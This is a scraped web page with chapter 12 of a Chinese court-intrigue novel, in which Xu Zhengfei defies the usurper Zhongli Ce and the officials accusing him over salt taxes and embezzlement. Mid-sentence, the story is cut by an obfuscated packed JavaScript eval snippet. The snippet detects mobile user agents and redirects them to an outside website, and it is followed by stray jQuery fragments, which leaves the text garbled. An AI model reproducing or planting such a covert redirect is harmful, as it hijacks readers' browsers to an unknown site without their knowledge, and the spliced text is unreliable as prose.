默认冷灰
24号文字
方正启体

12. 012 击梧桐

作者:千杯灼本书字数:K更新时间:
    房津才走近了,便看见徐正扉怔愣站在那里。


    他自身后开口:“仲修?”


    徐正扉回神儿,转脸朝他行礼,又在视线触及人片染似的两鬓雪白时,惊怔住了。他哑声,伸出手去拍了拍人的肩膀:“泽元,你……”


    房津露出个微笑来:“不必担忧,只是心中烦愁。你今日不该来的才是,前几天,已经当朝奏了你两本。”


    这么低声说着,张愿等人已走进前来了。


    这几人本是东宫十六子,早些年,舍卫里以房津为首;大家吟诗作赋、畅谈政治宏愿,最是少年意气,相伴辅助东宫十载,直至君主登基,才赏了各处的官职。


    可惜物是人非,如今再见,倒寡淡的没一句寒暄了。张愿和王品连眼神都没好意思与人交汇,只别过脸去,朝房津拱了拱手,什么也没说便快步走了。


    徐正扉冷笑:“早些年,看他们便不是什么好货。”


    “仲修,慎言。”房津目送他们远去,又叮嘱道:“安平侯手段狠辣,并不惜才,只图权柄。不似君主——你万万不得冲动。”


    “当日造反,张家受了牵连,钟离启和张愈虽已伏法,但太后归朝,张氏一族便故态复萌了。就连张愿之父张延,也抽调回朝。他本就与太后是表兄妹,如今岂不是……唉……”


    徐正扉道:“当日房丞相,与你留下那么多的‘权位人事’,泽元,你实在迂腐。大难当前,为何不用——!”


    房津没说话,垂下眼去。


    当年,君主曾握住了他的手,感慨道:“泽元跟在朕身边也有十多了。卿当年,是何等的踌躇满志、意气风发,朕如今忆起卿入东宫之日,红袍青衣、云带官髻,那等珠玉华光——犹在眼前啊。”


    房津却只敢将身子恭敬伏低,“您还记得呢,连泽元都快忘了。”


    君主垂眸,盯着他发髻中的几根银发,心绪复杂,“如今卿心力煎熬,才做父亲的人,竟已生了白发。朕……”


    君主愧在未能予他一个体面的人臣之位;然而房家势大,祸患之下,帝王也无法。他又何敢动用那等人事呢?


    这些年来,他一直谨小慎微,不过循心而往,一心谋造生民福祉罢了。纵是房家风光时,他亦战战兢兢,如履薄冰,一心一意为君主鞍前马后、呕尽肝胆。


    他也曾有少年壮志、满腔豪情,有心要做风光的人臣、要追随雄才大略的君主,要经营出三百年难得一见的繁荣盛世——然而,他不强求。房津一向懂得‘盛极必衰、万事有尽’之理,更懂得人生不能总是圆满。他只是尽力而为,甘愿做垫脚的阶石,为这终黎即将唱彻的战鼓,献上毕生的心血。


    他相信,自己追随的人,定是个明君。


    可如今呢?


    先是为求自保,姊妹春贤弑父。后是不肯同流合污,妻儿却丧命于钟离策之刀下。这位心力交瘁、为终黎朝堂呕心沥血的人臣、一个可怜的父亲,在将近不惑之年却成了丧家之犬。


    他开口,呕的脸色也煞白:“仲修,若是君主不归,我除了认命,又能如何呢?可新制一废,君臣之心血毁于一旦,任他屠戮,大厦将倾,此颓势,必不可再挽回。”


    “若非不甘、万万性命无辜,我又何尝不愿辞官归去呢。”房津苦笑:“我倒羡慕庄知南——出宫一去,隐于问鹤山,便再不问世事了。”


    徐正扉至今仍记得庄知南那句“观龙虎困斗于朝堂,无异于火中取栗,悬梁吊颈而已!”


    “听说,钟离策也换人去请他了?只是不知,什么个景况?”


    “他拒绝出仕。”房津叹了口气,缓步朝前走去:“仲修,时局不容我。当初,君主借将军之手,平恩邦之患、定荆楚之势,将兵权收敛干净。再借你之手,将上城权贵高门手里的权柄铲除,又以叶司会挟制商贾之流,更命我接手太学,清洗盘根错节的裙带,断了士族的根脉。”


    “现如今,谁还能成得了气候,跳起来做个‘功高震主’的先锋将?”房津道:“一盘散沙,政治清明,无有派系相争,反倒容钟离策作乱了。”


    徐正扉幽幽长叹,恨得想笑,偏那位主子圣明勤政,将满腹谋略都用于政事了。若他昏庸,此刻相搏,倒不知鹿死谁手呢。


    ——徐正扉拂袖,“只恨他儿女情长!”


    说罢这句,只沉着脸快步跟上去了。


    今日朝堂上,太后静坐幕帘之后,淡定的抚弄着华丽袖口,她唤德安替他传话,德安便神色平静的将私语递到钟离策耳边。


    朝上,不少人口诛笔伐,要寻徐正扉的麻烦。


    董云狗腿子似的开口,“新君登基,当体察民情,如今的上城,叫徐大人搅得鸡犬不宁,大门紧闭不敢出,徐大人自领着先君的鸡毛令箭,喝令各级官署服从条例,恐怕只是为了自己的威严,造那许多的冤假错案——察访盐税,却污蔑重臣,还请新君明鉴!”


    徐正扉淡定笑道:“当日你父遭诛杀,死得倒不冤枉。”他负手站立:“早先扉便说过,到底是哪家鸡犬不宁?何人怨声载道?既表下‘于社稷不安’这等定论,可得有实打实的证据才行!此事全在扉的肩膀上,若有责罚、褒奖,也得容扉申辩才是——怎么这会儿却直接缠着安平候要分明呢?!”


    “放肆,此乃新君!”


    “新君?——”徐正扉道:“敢问君主尸身何在?可曾迎回?一日不见昭平尸身,扉一日不认新君。”


    “新制乃君主所定,扉兢兢业业,日夜不敢忘却。若是安平候连君主的旨意都不认,执意坐在这个位置上,恕扉不能苟同——扉定不与逆贼合污。尔等审我?笑话。”


    “再有,盐税之事早已查明上禀,君主已有定论。安平侯却将罪臣提拔至于朝堂,岂不是甘于下流!”


    钟离策气得直坐不住:“徐正扉,你休要大放厥词,真当朕杀不得你吗?”


    徐正扉笑道:“安平候想杀我,自然杀得。今日太后坐镇,侯爷自封为王,扉区区肉身,死不得许多次。只是,既尹大人也放出来了,不如公然与扉对簿,敢问,诸位定论我污蔑重臣……哪里来的证据?”


    尹同甫这才开口。


    被那锐利目光盯住,他抿紧了唇,仿佛心虚,并不肯去看徐正扉,只将证据抬出来:“请新君过目。”


    钟离策假模假样地看过,旋即扬手,将那册子与账目摔出去,纸页洒洒飘落在朝堂之上。诸众不语,太傅也悠悠然半阖双目,一副看戏姿态。


    徐正扉扬了扬下巴,不知道与谁下命令:“捡来,与扉看。”


    戎叔晚低眼,嘴角不作声地翘起来,又迅速压下去……


    他忍笑辛苦,实在不知道徐正扉如何能以这副堂皇姿态,挤在人臣中“耀武扬威”的。那架势将钟离策气得脸都绿了:“你放肆你!徐正扉,你命令谁呢。”


    戎叔晚扫过目光去,殿里的侍仆明白过来,赶忙小跑着将那纸页都收敛起来递给人。


    徐正扉捻着“证据”翻看了两页,便哼笑一声,抬手就叠在一处,撕了个稀碎。


    诸众目瞪口呆。


    “安平候想杀扉,倒也好说,不必此等大费周折,还须造出证据来。”徐正扉转脸看了董云一眼,又看尹同甫:“枉你贤名传世,竟也作这样的勾当!”


    他有条不紊地抬起靴子,将那碎屑碾皱了去,淡定笑道:“想来大人贪敛多了,连数目都算不清楚。你当真以为淮安之地,三万六千众盐民,一年能造出万石之数来?这三万人半年不吃喝,不算晴雨,方才得一千数。剩下这九千数——难道是大人吃酒吃出来的不成?”


    钟离策恼怒,攥紧扶手,才要发作,便瞥见戎叔晚抱胸冷笑的神情——他顿住,强压着怒火:“尹同甫,怎么回事?”


    尹同甫不语。


    倒是张延帮腔了:“徐大人狂奍,御前失礼,纵凭这样也是失德,该杖责三十。”他又说:“徐大人贪不下的,自然有父兄帮忙。恩邦一年进献之数,去了哪里?”


    徐正扉丝毫不惧:“自然进了国库。”


    “那荆楚所献,又去了哪里?”不等徐正扉开口,他便继续道:“恐怕不是进了国库,而是进了徐府的口袋吧!不然……何以荆楚储君三公子带来的账簿子,竟和徐大人所献的,不一致呢?”


    除了亲笔书信之外,礼单分作两份,君主手里一份,另一份在徐正扉之父徐智渊手中。现如今,钟离策入主圣宫,自然想怎么说就怎么说,要他空口白牙,如何对证?


    他不上当——“我父已经下狱,你们自己去查便是。”


    张延一愣,见他全然不在乎似的,便又出招:“新君登基,请了三公子来做客,何不当场对峙?”


    楚问秋进门的时候,徐正扉都愣了。


    这奸贼,竟通敌叛国,连荆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16519538|186265||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    楚都勾搭上了。原来,荆楚之地,渊源复杂,这三公子和他们将军有“旧情”,叫君主震慑住,不敢造次之后,便一直怀恨在心。待这次机缘巧合,有燕少贤牵桥搭线,便都搅和在一块了。


    这会子,始作俑者才说话。燕少贤平静道:“素闻徐郎高才,今日一见,不过如此。新君不欲屈打成招,没承想,你竟这等不识抬举,放肆不说,竟意欲销毁证据——如今证据已毁,任凭你巧舌如簧,也辩驳了。如今人证也在,你还想狡辩?”


    徐正扉笑眯眯道:“先君和君主三十载不曾凭个人好恶定人奸论,还是‘少贤’敏锐,只凭一双眼,便知扉有罪。依我看,这律司府——倒不如撤散,将权力抛给您好了。”


    那话说得有意思,直把燕少贤嘲讽的脸色青白一阵:帝王都做不得主,你倒充起人来了。


    ——燕少贤到底能忍,笑面相对:“大人误会了。律司府已经查清徐大人之罪,今日对峙,本是为了不冤枉大人。奈何大人不配合,这吃杖子,下牢狱必是免不了的。纵大人无罪,恐怕遭令尊连累,也要……”


    他点到即止:“还请新君示下。”


    张延见状,更觉胜券在握,一副小人得志的模样:“还不赶紧将他拖下去,那打杖子的都等不及了!”


    房津想开口,却被房允这傻小子抢了先。他傻乎乎地求饶:“不要啊君主!徐郎是清官,是大好人,他定不是这样的人。您不要冤枉他呀——”他去扯徐正扉的袖子,“你少说两句……”


    张延出口嘲讽:“徐大人平日里作威作福,欺凌官员,恐怕也少不得徇私枉法的勾当!现下新君明鉴,已是人人得而诛之!”


    上次告状的人也是这么说的!问及起来,偏又避重就轻,“徐大人休要逞口舌之快,谁若跳出来,岂不叫你暗中报复?!”


    徐正扉谈吐自如,“这话才奇罕!是张家占了地受罚不认,还是李大人徇私扣了俸禄不服?凡是经过扉手里的,那都是实在的数目,如若不安,你我也对上一对,如何?难道说,大人心虚,有什么不可见人的勾当,担心叫扉查出来不成?”


    “勿要血口喷人,徐大人白牙咬住人,好厉害的嘴舌!李某一身官袍、两袖清风,从不惧什么巡查!”


    “那便是了,大人这样的清白,又何必为那些‘朱门罪吏’拉关系、讨便宜呢!”


    “什么拉关系……徐大人你你你!休要与我纠缠。”


    那话厉害,当即给那个李大人气得哼哼,只别过脸去再不吭声了。


    因徐正扉行事谨慎,往日里清理盘根错节自有妙计,落不下把柄来,故而他们寻不出人证物证,只得模棱两可,往他头上扣个大帽子,寻出楚问秋来嫁祸于他。


    可楚问秋只为惦记着谢祯,方才配合;这会子他倦倦地往椅座上靠,只笑着看戏,并不主动开口。


    于是,张延只当堂跪下,恭敬磕头道:“徇私枉法待查,贪赃必也脱不了干系!至少,今日御前放肆,这三十杖子必打!臣请命——”


    钟离策勾唇笑起来,效仿着他兄长那真正君王的姿态,淡定道:“徐卿还不认错?若是求饶,朕今日就免了你的杖罚!”


    房允还想劝来着,徐正扉却笑了:“认错?恐怕不能。”


    张延听了,先一副夸张的怒色,替他的主子号啕:“新君必不能容他啊!这等放肆,不将您放在眼里——徐家满门奸佞,必要抄家才好!”


    这话不免深得钟离策之心,他大手一挥:“来人,将徐正扉给朕拖下去……”


    话没说完,“咚”的一声!


    那蟒杖敲在地上,不由得吓了众人一跳。


    大家闻声望去,只见戎叔晚站起身来,缓缓朝人走近。


    架势骇人,钟离策的话便停住了,闵添与温绪成对视一眼,只扶住了腰间宝刀,等着护驾。一遭架住徐正扉的人更是半分不敢动弹,停在原处。


    哪知戎叔晚并不替徐正扉开脱,而是俯身朝着张延笑:“大人好忠的戏码。”


    张延才归朝堂,对戎叔晚的事儿听闻甚少,便不拿他当回事,出言嘲讽:“听说你与徐正扉狼狈为奸,沆瀣勾结,未必没有你的一分子!不过是个马仆子,你算个什么东西?偌大朝堂,岂能轮得到你开口!”


    “啧。”


    太傅微微眯眼,露出笑来……


    今日,怕是又有好戏看咯。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)